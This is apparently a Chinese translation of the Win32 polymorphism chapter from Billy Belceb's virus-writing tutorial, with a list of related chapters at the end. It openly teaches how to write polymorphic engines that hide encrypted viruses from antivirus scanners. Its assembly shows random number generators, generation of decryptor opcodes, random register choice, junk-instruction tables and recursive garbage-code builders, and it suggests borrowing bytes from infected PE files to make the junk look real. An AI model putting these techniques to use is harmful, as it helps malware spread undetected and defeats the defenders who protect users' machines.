Billy Belceb 病毒編寫教程for Win32 ----Win32多型
【Win32 多型(Win32 polymorphism)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
許多人對我說,在我的MS-DOS病毒教程中最大的弱點是多型那一章(btw,我是在15歲的時候寫的它,我知道彙編僅僅1個月)。但是基於這個原因,我將試圖另外寫一個,全新的,從0開始。從那時起我讀了許多多型的文件,而且毫無疑問,對我影響最大的是Qozah的,雖然它非常簡單,他解釋了我們在編寫一個多型引擎(如果你想讀它,從病毒站點下載DDT#1)更應該清楚的所有概念。我將在這一章裡提到真正最基礎的東西,所以如果你已經有這方面的基礎知識了,跳過去!
%介紹%
~~~~~~
多型存在的主要原因是,總是和反病毒軟體的存在相關的。在那個沒有多型引擎的時代,反病毒軟體透過簡單地使用一個掃描字串來檢測病毒,它們最困難地是加密了地病毒。所以,一個病毒編寫者有了一個天才的想法。我敢肯定他在想“為什麼我不編寫一個不可掃描的病毒呢,這是透過技術來實現?”然後,多型誕生了。多型意味著在一個加了密的病毒中包括解密部分之內,排除所有可能的恆定不變的位元組來避免被掃描。是的,多型意味著為病毒建立變化的解密程式。呵呵,簡單而有效。這是基本的概念:永遠不要建立兩個一樣(在外觀上)的解密程式,但是總是能完成相同的功能。它好像是加密的自然擴充套件,但是因為加密程式碼還不是足夠短,它們可以透過一個字串來抓住,但是,利用多型,字串就沒有用了。
%多型級別%
~~~~~~~~~~
每個級別的多型都有它自己的名字,是由反病毒者給的。讓我們用AVPVE的一小段來看看它(好樣的,Eugene)。
-----------------------------------------
根據這些病毒的解密程式碼的複雜性,對於多型病毒有一個分級系統。這個系統是由Dr. Alan Solomon提出然後由Vesselin Bontchev改進的。
第1級:病毒有一些不變的解密程式碼集合,在感染的時候會選擇一個。這種病毒被叫做"semi-polymorphic"或者"oligomorphic"。
例子:"Cheeba", "Slovakia", "Whale"。
第2級:病毒解密程式包含一個或幾個不變的指令,其它的都是改變的。
第3級:解密程式有沒有用的函式-“垃圾”如NOP, CLI, STI,等等。
第4級:解密程式使用可互換的指令並改變它們的順序(指令混合)。解密演算法保持不變。
第5級:上述提到的所有技術都用到了,解密演算法也是可變的,重複加密病毒程式碼甚至部分地加密解密程式本身程式碼也是可能的。
第6級:交換病毒。病毒的主要程式碼以改變為條件進行改變,在感染的時候隨機的分成了記過部分。儘管那樣,病毒還是能繼續工作。這樣的病毒可能沒有加密。
這樣的分類仍然有缺點,因為主要標準是在病毒標誌的慣例技術的幫助下根據解密程式的程式碼來檢測病毒的可能性:
第1級:為了檢測病毒是否足夠有一些標誌
第2級:透過使用“百搭牌(wild cards)”的幫助來檢測病毒
第3級:利用檢測“垃圾”程式碼來檢測病毒
第4級:標誌包含一些版本的可能程式碼,也就是演算法
第5級:使用標誌不可能檢測到病毒
這種分類在第3級的多型病毒,只是按照它這麼叫的"第3級"就可以看出不足了。這個病毒是最複雜的多型病毒之一,根據當前的分類而到了第3級目錄中了,因為它有一個不變的解密演算法前面是大量的“垃圾”指令。然而,在這個病毒中“垃圾”產生演算法幾乎是完美的:在解密程式碼中可能會找到幾乎所有的i8086指令。
如果病毒按照現在的反病毒觀點來分到這個級別,使用自動解密病毒程式碼(模擬)系統,那麼這個分類將會基於病毒程式碼的複雜性。其它病毒檢測技術也是可能的,例如,在原始的數學規律的幫助下解密,等等。
因此,如果除了病毒標誌線索外,其它的引數也考慮了,這個分類在我心目中的分類更客觀。
1.多型程式碼的複雜度(所有的處理指令在整個解密程式碼中佔的比例)
2.反模擬技術使用
3.解密演算法的恆定chdu
4.機密程式長度的恆定程度
我不想更詳細的討論這些了,因為結果是將會導致厲害的病毒編寫者們創造出這種型別的怪物。
-----------------------------------------
%我怎樣來編寫一個多型呢%
~~~~~~~~~~~~~~~~~~~~~~~~
首先,你必須在必須在你的腦海中清楚你想要使你的解密程式是什麼樣。例如:
mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
那是一個非常簡單的例子,是嗎?我們這裡主要有6塊(每個指令是一塊)。想象一下你使得那個程式碼不一樣有多少種可能性呢:
- 改變暫存器
- 改變頭3個指令的順序
- 為了達到同樣的目的使用不同的指令
- 插入什麼也不做的指令
- 插入垃圾等等。
這是多型的主要思想。讓我們看看對這個同樣的解密程式,用一個簡單的多型引擎初始的可能解密程式碼:
shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
[...]
你明白了思想了沒?對於一個病毒分析者來說,明白這樣一個解密程式不是非常困難(對他們來說比一個沒有加密的病毒要困難多了)。還可以做許多改進,相信我。我想你意識到了我們需要在我們的多型引擎中有不同的函式:一個用來為解密程式創造“合法”的指令,另外一個用來創造垃圾。這是你在編寫一個多型引擎時必須有的主要主意。從這一點開始,我將盡可能的更好地解釋這個。
%非常重要地東西:RNG%
~~~~~~~~~~~~~~~~~~~~~
是的,在一個多型引擎中最重要的部分是隨機數發生器(Random Number Generator),即RNG。一個RNG是一段能夠返回一個徹底隨機的數的程式碼。下面是DOS下的一個經典的程式,在Win9X下,甚至在Ring-3工作,但是不能在NT中工作。
random:
in eax,40h
ret
這個將會在EAX的MSW中返回0,LSW中返回一個隨機值。但是,這個不夠強大...我們必須招另外一個...這得靠你了。這裡我所能做的唯一一件事情是用一個小程式讓你知道你的RNG是否強大。它在Win32.Marburg(作者GriYo/29A)的發作中也是由GriYo測試的這個病毒的RNG。毫無疑問,這個程式碼被合適的修改了,這樣可以被容易的編譯和執行。
;------從這裡開始剪下-----------------------------------------------------------------
;
; RNG Tester
; ==========
;
; 如果螢幕上的圖示是真正的被“隨機的”放置了,那麼這個RNG就是一個不錯的,但是如果如果圖
; 標是在螢幕的相同位置,或者你主意到圖示在螢幕上有奇怪的行為,試試另外的RNG。
.386
.model flat
res_x equ 800d ; Horizontal resolution
res_y equ 600d ; Vertical resolution
extrn LoadLibraryA:PROC ; All the APIs needed by the
extrn LoadIconA:PROC ; RNG tester
extrn DrawIcon:PROC
extrn GetDC:PROC
extrn GetProcAddress:PROC
extrn GetTickCount:PROC
extrn ExitProcess:PROC
.data
szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz string
a_User32 dd 00000000h ; Variables needed
h_icon dd 00000000h
dc_screen dd 00000000h
rnd32_seed dd 00000000h
rdtsc equ <dw 310Fh>
.code
RNG_test:
xor ebp,ebp ; Bah, i am lazy and i havent
; removed indexations of the
; code... any problem?
rdtsc
mov dword ptr [ebp+rnd32_seed],eax
lea eax,dword ptr [ebp+szUSER32]
push eax
call LoadLibraryA
or eax,eax
jz exit_payload
mov dword ptr [ebp+a_User32],eax
push 32512
xor edx,edx
push edx
call LoadIconA
or eax,eax
jz exit_payload
mov dword ptr [ebp+h_icon],eax
xor edx,edx
push edx
call GetDC
or eax,eax
jz exit_payload
mov dword ptr [ebp+dc_screen],eax
mov ecx,00000100h ; Put 256 icons in the screen
loop_payload:
push eax
push ecx
mov edx,eax
push dword ptr [ebp+h_icon]
mov eax,res_y
call get_rnd_range
push eax
mov eax,res_x
call get_rnd_range
push eax
push dword ptr [ebp+dc_screen]
call DrawIcon
pop ecx
pop eax
loop loop_payload
exit_payload:
push 0
call ExitProcess
; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;
random proc
push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,eax
imul eax,41C64E6Dh
add eax,00003039h
mov dword ptr [ebp+rnd32_seed],eax
xor eax,ecx
pop edx
pop ecx
ret
random endp
get_rnd_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
get_rnd_range endp
end RNG_test
;------到這裡為止剪下-----------------------------------------------------------------
它很有意思,至少對我來說是這樣的,為了看看不同數學操作的作用。
% 多型引擎的基本概念 %
~~~~~~~~~~~~~~~~~~~~~~~~
我想你應該知道我將要解釋什麼了,所以,如果你已經編寫了一個多型引擎,或者你知道怎麼建立一個,我肯定建議你跳過這一段,或者你將開始譴責我的愚蠢,這是我不想要的。
首先,我們將要在一個臨時緩衝去通常是堆裡產生程式碼,但是也可以很容易地利用VirtualAlloc 或者 GlobalAlloc API函式來開闢記憶體。我們只是把一個指標指向這個緩衝記憶體區域地開始,而且這個暫存器通常是EDI,因為透過使用STOS類地指令可以最佳化。所以我們要在這塊記憶體緩衝裡放置操作碼位元組。Ok,ok,如果你仍然認為我很糟因為我總是舉一些程式碼例子來解釋東西,我將表明你錯了。
;------從這裡開始剪下-----------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪餒
;
.386 ; Blah
.model flat
.data
shit:
buffer db 00h
.code
Silly_I:
lea edi,buffer ; Pointer to the buffer
mov al,0C3h ; Byte to write, in AL
stosb ; Write AL content where EDI
; points
jmp shit ; As the byte we wrote, C3,
; is the RET opcode, we fi-
; nish the execution.
end Silly_I
;------到這裡為止剪下-----------------------------------------------------------------
編譯上面地程式碼,看看發生了什麼。呵?我知道它不是什麼事情也沒做。但是你看到了,你產生了程式碼,不是直接編寫的,而且我給你表明了你從0開始初始程式碼,並想想可能性,你可以從一個什麼也沒有的緩衝區裡面初始一整個有用的程式碼。這是多型引擎程式碼(不是多型引擎產生的程式碼)怎樣初始解密程式碼的基本概念。所以,想象一下我們要編寫如下的指令:
mov ecx,virus_size
mov edi,offset crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
那麼,從上面的程式碼產生的解密程式將會這樣:
mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
mov al,0BFh : MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,offset crypt ; Offset32 to store
stosd ; Store EAX where EDI points
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key ; Imm32 to store
stosd ; Store EAX where EDI points
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points
OK,然後你已經產生了它應該是什麼模樣的程式碼,但是你意識到了在真正的程式碼中加一些什麼也不做的指令非常簡單,透過使用同樣的方法。你可以用一個位元組的指令實驗一下,例如,看看它的相容能力。
;------從這裡開始剪下-----------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
; ===================================
;
.386 ; Blah
.model flat
virus_size equ 12345678h ; Fake data
crypt equ 87654321h
crypt_key equ 21436587h
.data
db 00h
.code
Silly_II:
lea edi,buffer ; Pointer to the buffer
; is the RET opcode, we fi-
; nish the execution.
mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
call onebyte
mov al,0BFh ; MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,crypt ; Offset32 to store
stosd ; Store EAX where EDI points
call onebyte
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key
stosd ; Store EAX where EDI points
call onebyte
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points
ret
random:
in eax,40h ; Shitty RNG
ret
onebyte:
call random ; Get a random number
and eax,one_size ; Make it to be [0..7]
mov al,[one_table+eax] ; Get opcode in AL
stosb ; Store AL where EDI points
ret
one_table label byte ; One-byters table
lahf
sahf
cbw
clc
stc
cmc
cld
nop
one_size equ ($-offset one_table)-1
buffer db 100h dup (90h) ; A simple buffer
end Silly_II
;------到這裡為止剪下-----------------------------------------------------------------
呵呵,我建立了一個很弱的3級,比2級強一些的多型引擎:)暫存器交換將在後面解釋,因為它隨著操作碼格式變。但是我在這個小子章節裡的目標達到了:你現在應該知道了我們想要做什麼。想象一下你使用兩個位元組而不是一個位元組,如PUSH REG/POP REG, CLI/STI, 等等。
%“真正”程式碼產生%
~~~~~~~~~~~~~~~~~~
讓我們再看看我們的指令。
mov ecx,virus_size ; (1)
lea edi,crypt ; (2)
mov eax,crypt_key ; (3)
@@1: xor dword ptr [edi],eax ; (4)
add edi,4 ; (5)
loop @@1 ; (6)
為了達到同樣的目的,但是用不同的程式碼,許多事情可以做,而且這是我們的目標。例如,前3個指令可以以其它的順序排列,而且結果不會改變,所以你可以建立一個使它們的順序隨機的函式。而且我們可以使用其它的暫存器,沒有任何問題。而且我們可以使用一個dec/jnz來取代一個loop...等,等,等...
- 你的程式碼應該能夠產生,例如,如下的能夠處理一個簡單指令,讓我們想象一下,第一個mov:
mov ecx,virus_size
或者
push virus_size
pop ecx
或者
mov ecx,not (virus_size)
not ecx
或者
mov ecx,(virus_size xor 12345678h)
xor ecx,12345678h
等, 等, 等...
所有這些事情可以產生不同的操作碼,而且完成同樣的工作,也就是說,把病毒的大小放到ECX中。毫無疑問,有大量的可能性,因為你可以使用一個使用大量的指令來僅僅把一個值放到一個暫存器中。從你的角度它需要許多想象力。
- 另外一件事情是指令的順序。正如我以前評論的,你可以很容易地沒有任何問題地改變指令地順序,因為對它們來說,順序不重要。所以,例如,取代指令1,2,3,我們可以使它成為3,1,2或者1,3,2等等。只要讓你的想象力發揮作用即可。
- 同樣重要的是,交換暫存器,因為每個操作碼也改變了(例如,MOV EAX,imm32被編碼成B8 imm32而MOV ECX,imm32編碼成B9 imm32)。你應該為解密程式從7個暫存器中使用3個暫存器(千萬不要使用ESP!!!)。例如,想象一下我們選擇(隨機)3個暫存器,EDI作為基指標,EBX作為金鑰而ESI作為計數器;然後我們可以使用EAX, ECX, EDX和EBP作為垃圾暫存器來產生垃圾指令。讓我們來看看關於選3個暫存器來對解密程式產生的程式碼:
---------------------------------------
InitPoly proc
@@1: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is ESP?
jz @@1 ; If it is, get another reg
mov byte ptr [ebp+base],al ; Store it
mov ebx,eax ; EBX = Base register
@@2: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is ESP?
jz @@2 ; If it is, get another one
cmp eax,ebx ; Is equal to base pointer?
jz @@2 ; If it is, get another one
mov byte ptr [ebp+count],al ; Store it
mov ecx,eax ; ECX = Counter register
@@3: mov eax,8 ; Get random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is it ESP?
jz @@3 ; If it is, get another one
cmp eax,ebx ; Is equal to base ptr reg?
jz @@3 ; If it is, get another reg
cmp eax,ecx ; Is equal to counter reg?
jz @@3 ; If it is, get another one
mov byte ptr [ebp+key],al ; Store it
ret
InitPoly endp
------------------------------------
現在,你在3個不同的暫存器中有3個變數,我們可以自由地沒有任何問題地使用。對於EAX暫存器我們有一個問題,不是非常重要,但是確實是一個問題。正如你所知道的,EAX暫存器有,在某些指令中,一個最佳化操作碼。這不是一個問題,因為程式碼得到了同樣的執行,但是啟發將會發現一些程式碼是以一個不正確的方式建立的,一種一個"真正"彙編不會用的的方法。你有兩種選擇:如果你仍然想使用EAX,例如,作為你的程式碼中的"活躍"的暫存器,你應該檢查它,如果能夠最佳化它,或者簡單的避免在解密程式中使用EAX暫存器作為"active"暫存器,並只是把它用來做垃圾,直接使用它的最佳化操作碼(把它們建一個表將是一個很偉大的選擇)。我們將在後面看到。我推薦使用一個標誌暫存器,為了最終的垃圾遊戲:)
%垃圾的產生%
~~~~~~~~~~~~
在質量中,垃圾的質量90%決定了你的多型引擎的質量。是的,我說的是“質量”而非你所想的“數量”。首先,我將列出你在編寫一個多型引擎時的兩個選擇:
- 產生現實程式碼,以合法的應用程式碼面目出現。例如,GriYo的引擎。
- 產生儘可能多的程式碼,以一個破壞的檔案面目出現。例如,Mental Driller的 MeDriPoLen(看看 Squatter)。
Ok,讓我們開始吧:
?兩個的共同點:
- 用很多不同方式呼叫(呼叫中嵌呼叫再嵌呼叫...)
- 無條件的跳轉
?現實主義:
一些現實的東西是那些看起來真實的東西,雖然它並不是。對於這個我打算解釋如下:如果你看到大量的沒有CALL和JUMP的程式碼你會怎麼想?如果在一個CMP後面沒有一個條件跳轉你會怎麼想?它幾乎是不可能的,正如你,我和反病毒者知道的。所以我們必須有能力產生所有這些型別的垃圾結構:
- CMP/條件跳轉
- TEST/條件跳轉
- 如果對EAX處理,總是使用最佳化的指令
- 使用記憶體訪問
- 產生 PUSH/垃圾/POP 結構
- 產生非常少的只要一個位元組的程式碼(如果有)
?精神摧毀...恩...象破壞程式碼:
這個當解密程式充滿了無意義的操作碼看起來不像程式碼的時候發生,也就是說不符合以前列出來的規則的程式碼,而且使用協處理器的不做任何事情的指令,當然了,使用的操作碼越多越好。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
現在,我將試圖解釋程式碼產生的所有要點。首先,讓我們以和它們相關的所有東西開始,CALL和無條件跳轉。
?首先一點,CALL,它非常簡單。你可以做成呼叫子例程,透過許多方式:
|Figure 1 -------| |Figure 2 -------| |Figure 3 -------|
| call @@1 | | jmp @@2 | | push @@2 |
| ... | | ... | | ... |
| jmp @@2 | |@@1: | |@@1: |
| ... | | ... | | ... |
|@@1: | | ret | | ret |
| ... | | ... | | ... |
| ret | |@@2: | |@@2: |
| ... | | ... | | ... |
|@@2: | | call @@1 | | call @@1 |
|________________| |________________| |________________|
當然你可以把所有的都混合起來,而且結果是,你有許多方式在一個解密程式內部編寫一個子例程。而且,毫無疑問,你可以反過來(你將會聽到我對它提更多的次數),而且可能在另外的CALL裡有CALL,所有這些又在另外一個CALL裡,然後另外一個...真的非常頭疼。
此外,儲存這些子例程的偏移並在產生的程式碼的任何地方呼叫它將是一個很好的選擇。
?關於非條件跳轉,它非常簡單,因為我們不必要關心在jump之後知道jump的範圍的指令,我們可以插入完全隨機的操作碼,比如垃圾...
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
現在,我打算程式碼中的現實主義。GriYo可以被稱為這種型別的引擎的最偉大的代表;如果你看到了他的Marburg引擎, 或者他的HPS引擎,你將會意識到那個,雖然它的簡易,他試圖使得程式碼看起來儘可能真實,而且這個使得反病毒者在獲得一個可靠的對付它的演算法之前都快瘋了。OK,讓我們以一些基本要點開始:
?關於 'CMP/條件 jump' 結構,它相當清晰,因為你不放一個條件跳轉,將從不會使用一個比較...OK,但是要編不是0跳轉的jump,也就是說,在條件跳轉和它應該跳轉(或者不跳轉)的偏移之間產生一些可執行的垃圾,而且在分析者的眼中,這些程式碼將更少地被懷疑。
?和TEST一樣,但是使用JZ或者JNZ,因為正如你知道地,TEST僅僅會對zero flag有影響。
?最有可能製造失敗的是AL/AX/EAX暫存器,因為它們有它們自己的最佳化程式碼。你將得到下面的指令的例子:
ADD, OR, ADC, SBB, AND, SUB, XOR, CMP 和 TEST (和暫存器很緊密).
?關於記憶體訪問,一個好的選擇是至少要獲得被感染的PE檔案的512位元組資料,把它們放到病毒的某處,然後訪問它們,讀或協。試著使用除了簡單的指數,雙精度數,而如果你的大腦能接受它,試著使用雙指數相乘,例如[ebp+esi*4]。並不是你想的那麼困難,相信我。你還可以做一些記憶體移動,用MOVS指示,還可以使用STOS, LODS, CMPS...所有的字串操作也可以使用。這就靠你了。
?PUSH/垃圾/POP結構非常有用,因為它的加到引擎中的簡單,還因為好的效果,因為它在一個合法程式中是一個非常普通的結構。
?一個位元組的指令的數量,如果太多了,會暴露我們的存在給反病毒者,或者給那些有著好奇的眼睛的傢伙。考慮普通程式不是很正常使用它們,所以最好作一個檢測來避免過多的使用它們,但是仍然每25位元組使用一兩個(我認為這是一個不錯的比率)。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
下面是一些精神摧毀型的東西:)
?你可以使用,例如,下面兩個位元組的協處理器指令是沒有任何型別問題的垃圾:
f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp,
fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi,
fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan,
frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp,
ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.
只要在病毒的開始放這兩個指令來重置協處理器:
fwait
fninit
Mental Driller現在正偏向於現實主義了(據我所知)由他的最近的令人印象深刻的引擎(TUAREG),所以...
% 指令建立 %
~~~~~~~~~~~~~~
這大概是和多型相關的最重要的事情了:關係在相同指令和不同暫存器之間存在,或者在兩個相同家族的指令之間存在。如果我們把指變成二進位制的話它們之間的關係就非常清晰了。但是,因此,一些有用的資訊:
暫存器二進位制形式 | 000 001 010 011 100 101 110 111
| -------------------------------
Byte 暫存器 | AL CL DL BL AH CH DH BH
Word 暫存器 | AX CX DX BX SP BP SI DI
擴充套件暫存器 | EAX ECX EDX EBX ESP EBP ESI EDI
段 | ES CS SS DS FS GS -- --
MMX 暫存器 | MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7
我認為在寫我的《Virus Writing Guides for MS-DOS》時候,所犯的大錯誤是在我的解釋OpCodes 結構部分,和所有那些東西。這裡我想要描述的是許多"你自己做",就像我在寫一個多型引擎時那樣。只以一個XOR操作碼為例...
xor edx,12345678h -> 81 F2 78563412
xor esi,12345678h -> 81 F6 78563412
你看到了不同了嗎?我習慣利用一個偵錯程式,然後寫我想要用一些暫存器構造程式碼,看看有什麼改變。OK,正如你能看到的(嗨!你沒瞎吧?),改變的位元組是第二個。現在是有趣的部分了:把值變成二進位制形式。
F2 -> 11 110 010
F6 -> 11 110 110
OK,你看到了什麼改變了嗎?最後3個bit,對嗎?好了,現在到我把暫存器以二進位制表示的部分:)正如你已經發現的,這3個bit根據暫存器的改變而改變了。所以...
010 -> EDX 暫存器
110 -> ESI 暫存器
只要試著把那3個位元賦其它的二進位制值,你將會發現暫存器是怎麼改變的。但是要小心...不要使用用這個操作碼EAX值(000),因為,所有的算術指令,都對EAX最佳化了,因此要徹底地改變操作碼。
所以,除錯所有你想要的構造,看看它們之間的關係,並建立產生任何東西的可靠的程式碼。它非常簡單!
% Recursivity %
~~~~~~~~~~~~~~~~~
它在你的多型引擎中是一個非常重要的一點。recursivity必須有一個限度,但是依賴於那個限度,程式碼可以非常難理解(如果那個限度很高)。讓我們想象一些有一個所有垃圾程式碼構造器的偏移表:
PolyTable:
dd offset (GenerateMOV)
dd offset (GenerateCALL)
dd offset (GeneratteJMP)
[...]
EndPolyTable:
並想象一下你有在它們之中選擇的如下例程:
GenGarbage:
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
ret
現在想象一下你的'GenerateCALL'指令從內部呼叫'GenGarbage'例程。呵呵'GenGarbage'可以再次呼叫'GenerateCALL',並再次,然後再次(取決於RNG),所以你將有CALL在CALL中在CALL中...我已經在那件事情之前提了一個限度僅僅是為了避免速度問題,但是它可以用這些新的
'GenGarbage'例程來解決:
GenGarbage:
inc byte ptr [ebp+recursion_level]
cmp byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion
jae GarbageExit ; level here!
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
GarbageExit:
dec byte ptr [ebp+recursion_level]
ret
所以,我們的引擎將能產生巨大數量的充滿這種CALL的垃圾程式碼;)當然了,這個還可以在PUSH和POP間利用:)
%最後的話%
~~~~~~~~~~
多型性決定了編碼,所以我不更多的討論了。你應該自己做一個而不是複製程式碼。只要不是對經典引擎用一種型別的簡單加密操作,和非常基礎的垃圾如MOV,等等。使用你可以想到的所有主意。例如,有許多型別的CALL可做:3種風格(正如我以前描述的),此外,你可以建立堆疊結構,PUSHAD/POPAD,透過PUSH(然後是一個 RET x)來傳送引數,還有更多的。要有想象力!
相關文章
- Billy Belceb 病毒編寫教程for Win32 ----Win32優化2004-05-28Win32優化
- Billy Belceb 病毒編寫教程for Win32 ----附錄2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Win32 反除錯2004-05-28Win32除錯
- Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----PE檔案頭2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----簡單介紹2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency2004-05-28Win32IDE
- [翻譯]Billy Belceb 病毒編寫教程for Win32 ----病毒編寫中的有用的東西2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼2004-05-28Win32
- Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)2015-11-15多型
- Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼2015-11-15Win32
- Billy Belceb病毒編寫教程DOS篇---宣告2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---加密2015-11-15加密
- Billy Belceb病毒編寫教程(DOS篇)---附錄2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---病毒編寫所需的軟體2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---優化(Optimization)2015-11-15優化
- Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒2015-11-15記憶體
- [翻譯]Billy
Belceb 病毒編寫教程for Win32----- 宣告2004-05-28Win32
- Billy Belceb病毒編寫教程(DOS篇)---Tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)有用的結構體2015-11-15結構體
- Billy Belceb病毒編寫教程(DOS篇)---Anti-tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)一些重要的理論2015-11-15
- Win32彙編教程二 Win32彙編程式的結構和語法 (轉)2007-12-02Win32
- Win32/Angryel病毒分析報告2019-09-25Win32
- Win32彙編教程四 編寫一個簡單的視窗 (轉)2007-12-02Win32
- 基本概念(win32)彙編教程(轉)2007-07-28Win32
- Win32彙編教程十二 管道操作 (轉)2007-12-29Win32
- WIN32 手動編譯2020-10-28Win32編譯
- Win32彙編教程八 圖形介面的操作 (轉)2007-12-29Win32
- Win32彙編教程十 定時器的應用 (轉)2007-12-29Win32定時器
- Win32彙編教程七 控制元件的子類化 (轉)2007-12-29Win32控制元件
- Win32下Foxbase+資料庫瀏覽程式的編寫 (轉)2007-10-04Win32資料庫
- Win32 多執行緒的效能(2) (轉)2007-12-03Win32執行緒
- Win32 多執行緒的效能(1) (轉)2008-01-08Win32執行緒
- 讓我們寫一個 Win32 文字編輯器吧 - 1. 簡介2022-04-03Win32